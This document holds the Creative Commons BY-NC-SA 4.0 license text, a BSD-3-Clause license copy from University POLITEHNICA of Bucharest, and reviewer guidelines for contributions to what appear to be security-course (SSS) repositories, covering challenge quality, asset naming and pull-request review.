     respect those requests where reasonable. More considerations
     for the public:
      wiki.creativecommons.org/Considerations_for_licensees

=======================================================================

Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
Public License

By exercising the Licensed Rights (defined below), You accept and agree
to be bound by the terms and conditions of this Creative Commons
Attribution-NonCommercial-ShareAlike 4.0 International Public License
("Public License"). To the extent this Public License may be
interpreted as a contract, You are granted the Licensed Rights in
consideration of Your acceptance of these terms and conditions, and the
Licensor grants You such rights in consideration of benefits the
Licensor receives from making the Licensed Material available under
these terms and conditions.

Section 1 -- Definitions.

a. Adapted Material means material subject to Copyright and Similar
Rights that is derived from or based upon the Licensed Material
and in which the Licensed Material is translated, altered,
arranged, transformed, or otherwise modified in a manner requiring
permission under the Copyright and Similar Rights held by the
Licensor. For purposes of this Public License, where the Licensed
Material is a musical work, performance, or sound recording,
Adapted Material is always produced where the Licensed Material is
synched in timed relation with a moving image.

b. Adapter's License means the license You apply to Your Copyright
and Similar Rights in Your contributions to Adapted Material in
accordance with the terms and conditions of this Public License.

c. BY-NC-SA Compatible License means a license listed at
creativecommons.org/compatiblelicenses, approved by Creative
Commons as essentially the equivalent of this Public License.

d. Copyright and Similar Rights means copyright and/or similar rights
closely related to copyright including, without limitation,
performance, broadcast, sound recording, and Sui Generis Database
Rights, without regard to how the rights are labeled or
categorized. For purposes of this Public License, the rights
specified in Section 2(b)(1)-(2) are not Copyright and Similar
Rights.

e. Effective Technological Measures means those measures that, in the
absence of proper authority, may not be circumvented under laws
fulfilling obligations under Article 11 of the WIPO Copyright
Treaty adopted on December 20, 1996, and/or similar international
agreements.

f. Exceptions and Limitations means fair use, fair dealing, and/or
any other exception or limitation to Copyright and Similar Rights
that applies to Your use of the Licensed Material.

g. License Elements means the license attributes listed in the name
of a Creative Commons Public License. The License Elements of this
Public License are Attribution, NonCommercial, and ShareAlike.

h. Licensed Material means the artistic or literary work, database,
or other material to which the Licensor applied this Public
License.

i. Licensed Rights means the rights granted to You subject to the
terms and conditions of this Public License, which are limited to
all Copyright and Similar Rights that apply to Your use of the
Licensed Material and that the Licensor has authority to license.

j. Licensor means the individual(s) or entity(ies) granting rights
under this Public License.

k. NonCommercial means not primarily intended for or directed towards
commercial advantage or monetary compensation. For purposes of
this Public License, the exchange of the Licensed Material for
other material subject to Copyright and Similar Rights by digital
file-sharing or similar means is NonCommercial provided there is
no payment of monetary compensation in connection with the
exchange.

l. Share means to provide material to the public by any means or
process that requires permission under the Licensed Rights, such
as reproduction, public display, public performance, distribution,
dissemination, communication, or importation, and to make material
available to the public including in ways that members of the
public may access the material from a place and at a time
individually chosen by them.

m. Sui Generis Database Rights means rights other than copyright
resulting from Directive 96/9/EC of the European Parliament and of
the Council of 11 March 1996 on the legal protection of databases,
as amended and/or succeeded, as well as other essentially
equivalent rights anywhere in the world.

n. You means the individual or entity exercising the Licensed Rights
under this Public License. Your has a corresponding meaning.

Section 2 -- Scope.

a. License grant.

       1. Subject to the terms and conditions of this Public License,
          the Licensor hereby grants You a worldwide, royalty-free,
          non-sublicensable, non-exclusive, irrevocable license to
          exercise the Licensed Rights in the Licensed Material to:

            a. reproduce and Share the Licensed Material, in whole or
               in part, for NonCommercial purposes only; and

            b. produce, reproduce, and Share Adapted Material for
               NonCommercial purposes only.

       2. Exceptions and Limitations. For the avoidance of doubt, where
          Exceptions and Limitations apply to Your use, this Public
          License does not apply, and You do not need to comply with
          its terms and conditions.

       3. Term. The term of this Public License is specified in Section
          6(a).

       4. Media and formats; technical modifications allowed. The
          Licensor authorizes You to exercise the Licensed Rights in
          all media and formats whether now known or hereafter created,
          and to make technical modifications necessary to do so. The
          Licensor waives and/or agrees not to assert any right or
          authority to forbid You from making technical modifications
          necessary to exercise the Licensed Rights, including
          technical modifications necessary to circumvent Effective
          Technological Measures. For purposes of this Public License,
          simply making modifications authorized by this Section 2(a)
          (4) never produces Adapted Material.

       5. Downstream recipients.

            a. Offer from the Licensor -- Licensed Material. Every
               recipient of the Licensed Material automatically
               receives an offer from the Licensor to exercise the
               Licensed Rights under the terms and conditions of this
               Public License.

            b. Additional offer from the Licensor -- Adapted Material.
               Every recipient of Adapted Material from You
               automatically receives an offer from the Licensor to
               exercise the Licensed Rights in the Adapted Material
               under the conditions of the Adapter's License You apply.

            c. No downstream restrictions. You may not offer or impose
               any additional or different terms or conditions on, or
               apply any Effective Technological Measures to, the
               Licensed Material if doing so restricts exercise of the
               Licensed Rights by any recipient of the Licensed
               Material.

       6. No endorsement. Nothing in this Public License constitutes or
          may be construed as permission to assert or imply that You
          are, or that Your use of the Licensed Material is, connected
          with, or sponsored, endorsed, or granted official status by,
          the Licensor or others designated to receive attribution as
          provided in Section 3(a)(1)(A)(i).

b. Other rights.

       1. Moral rights, such as the right of integrity, are not
          licensed under this Public License, nor are publicity,
          privacy, and/or other similar personality rights; however, to
          the extent possible, the Licensor waives and/or agrees not to
          assert any such rights held by the Licensor to the limited
          extent necessary to allow You to exercise the Licensed
          Rights, but not otherwise.

       2. Patent and trademark rights are not licensed under this
          Public License.

       3. To the extent possible, the Licensor waives any right to
          collect royalties from You for the exercise of the Licensed
          Rights, whether directly or through a collecting society
          under any voluntary or waivable statutory or compulsory
          licensing scheme. In all other cases the Licensor expressly
          reserves any right to collect such royalties, including when
          the Licensed Material is used other than for NonCommercial
          purposes.

Section 3 -- License Conditions.

Your exercise of the Licensed Rights is expressly made subject to the
following conditions.

a. Attribution.

       1. If You Share the Licensed Material (including in modified
          form), You must:

            a. retain the following if it is supplied by the Licensor
               with the Licensed Material:

                 i. identification of the creator(s) of the Licensed
                    Material and any others designated to receive
                    attribution, in any reasonable manner requested by
                    the Licensor (including by pseudonym if
                    designated);

                ii. a copyright notice;

               iii. a notice that refers to this Public License;

                iv. a notice that refers to the disclaimer of
                    warranties;

                 v. a URI or hyperlink to the Licensed Material to the
                    extent reasonably practicable;

            b. indicate if You modified the Licensed Material and
               retain an indication of any previous modifications; and

            c. indicate the Licensed Material is licensed under this
               Public License, and include the text of, or the URI or
               hyperlink to, this Public License.

       2. You may satisfy the conditions in Section 3(a)(1) in any
          reasonable manner based on the medium, means, and context in
          which You Share the Licensed Material. For example, it may be
          reasonable to satisfy the conditions by providing a URI or
          hyperlink to a resource that includes the required
          information.
       3. If requested by the Licensor, You must remove any of the
          information required by Section 3(a)(1)(A) to the extent
          reasonably practicable.

b. ShareAlike.

     In addition to the conditions in Section 3(a), if You Share
     Adapted Material You produce, the following conditions also apply.

       1. The Adapter's License You apply must be a Creative Commons
          license with the same License Elements, this version or
          later, or a BY-NC-SA Compatible License.

       2. You must include the text of, or the URI or hyperlink to, the
          Adapter's License You apply. You may satisfy this condition
          in any reasonable manner based on the medium, means, and
          context in which You Share Adapted Material.

       3. You may not offer or impose any additional or different terms
          or conditions on, or apply any Effective Technological
          Measures to, Adapted Material that restrict exercise of the
          rights granted under the Adapter's License You apply.

Section 4 -- Sui Generis Database Rights.

Where the Licensed Rights include Sui Generis Database Rights that
apply to Your use of the Licensed Material:

a. for the avoidance of doubt, Section 2(a)(1) grants You the right
to extract, reuse, reproduce, and Share all or a substantial
portion of the contents of the database for NonCommercial purposes
only;

b. if You include all or a substantial portion of the database
contents in a database in which You have Sui Generis Database
Rights, then the database in which You have Sui Generis Database
Rights (but not its individual contents) is Adapted Material,
including for purposes of Section 3(b); and

c. You must comply with the conditions in Section 3(a) if You Share
all or a substantial portion of the contents of the database.

For the avoidance of doubt, this Section 4 supplements and does not
replace Your obligations under this Public License where the Licensed
Rights include other Copyright and Similar Rights.

Section 5 -- Disclaimer of Warranties and Limitation of Liability.

a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.

b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.

c. The disclaimer of warranties and limitation of liability provided
above shall be interpreted in a manner that, to the extent
possible, most closely approximates an absolute disclaimer and
waiver of all liability.

Section 6 -- Term and Termination.

a. This Public License applies for the term of the Copyright and
Similar Rights licensed here. However, if You fail to comply with
this Public License, then Your rights under this Public License
terminate automatically.

b. Where Your right to use the Licensed Material has terminated under
Section 6(a), it reinstates:

       1. automatically as of the date the violation is cured, provided
          it is cured within 30 days of Your discovery of the
          violation; or

       2. upon express reinstatement by the Licensor.

     For the avoidance of doubt, this Section 6(b) does not affect any
     right the Licensor may have to seek remedies for Your violations
     of this Public License.

c. For the avoidance of doubt, the Licensor may also offer the
Licensed Material under separate terms or conditions or stop
distributing the Licensed Material at any time; however, doing so
will not terminate this Public License.

d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
License.

Section 7 -- Other Terms and Conditions.

a. The Licensor shall not be bound by any additional or different
terms or conditions communicated by You unless expressly agreed.

b. Any arrangements, understandings, or agreements regarding the
Licensed Material not stated herein are separate from and
independent of the terms and conditions of this Public License.

Section 8 -- Interpretation.

a. For the avoidance of doubt, this Public License does not, and
shall not be interpreted to, reduce, limit, restrict, or impose
conditions on any use of the Licensed Material that could lawfully
be made without permission under this Public License.

b. To the extent possible, if any provision of this Public License is
deemed unenforceable, it shall be automatically reformed to the
minimum extent necessary to make it enforceable. If the provision
cannot be reformed, it shall be severed from this Public License
without affecting the enforceability of the remaining terms and
conditions.

c. No term or condition of this Public License will be waived and no
failure to comply consented to unless expressly agreed to by the
Licensor.

d. Nothing in this Public License constitutes or may be interpreted
as a limitation upon, or waiver of, any privileges and immunities
that apply to the Licensor or You, including from the legal
processes of any jurisdiction or authority.

=======================================================================

Creative Commons is not a party to its public
licenses. Notwithstanding, Creative Commons may elect to apply one of
its public licenses to material it publishes and in those instances
will be considered the “Licensor.” The text of the Creative Commons
public licenses is dedicated to the public domain under the CC0 Public
Domain Dedication. Except for the limited purpose of indicating that
material is shared under a Creative Commons public license or as
otherwise permitted by the Creative Commons policies published at
creativecommons.org/policies, Creative Commons does not authorize the
use of the trademark "Creative Commons" or any other trademark or logo
of Creative Commons without its prior written consent including,
without limitation, in connection with any unauthorized modifications
to any of its public licenses or any other arrangements,
understandings, or agreements concerning use of licensed material. For
the avoidance of doubt, this paragraph does not form part of the
public licenses.

Creative Commons may be contacted at creativecommons.org.

Copy of BSD-3-Clause:

Copyright 2021 University POLITEHNICA of Bucharest

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its contributors
   may be used to endorse or promote products derived from this software
   without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

12 -

SSS Reviewer Guidelines

These are recommendations for reviewing contributions to SSS repositories. Reviewing is important to ensure high quality and consistency of content. As a reviewer, we trust you will vet contributions and provide constructive suggestions to update them to fit the SSS guidelines.

Activities / Challenges

Make sure that activities / challenges are of good quality:

  • Difficulty is properly set.
  • The topic of the activity / challenge is appropriate.
  • The provided solution is working.
  • Vulnerability and explanations are easy to understand.

Assets

Check if all of them are used and mentioned in the content. If the assets are not original, make sure their license is compatible with ours and that their source is properly cited. Verify that their names are appropriate and respect the following rules:

  • Use dash between words (e.g. image-name.png).
  • Use only lowercase ASCII characters.

Content

Make sure that the content is of good quality:

  • It follows the general structure of a session.
  • Assets are displayed well.
  • Each sentence is on a separate line.
  • The content is easy to understand.
  • Wording and general spelling are correct.
  • Proper formatting is used (such as bold, italic, typewriter formats).

Working on Pull Requests

You will review contributions as pull requests, following the PR review guidelines from GitHub. Contributions must follow the contributing guidelines.

Add your review as comments and request for changes to the PR until everything is ready to be approved. Add any comments regarding one or more explicit lines as review comments and only publish them together when submitting your review. Do not add each individual suggestion or comment as standalone. Before approving the PR, make sure that all GitHub Actions tests ended successfully. Once approved, either you or someone with proper access rights can use Rebase and merge to merge the PR commits and integrate the contribution.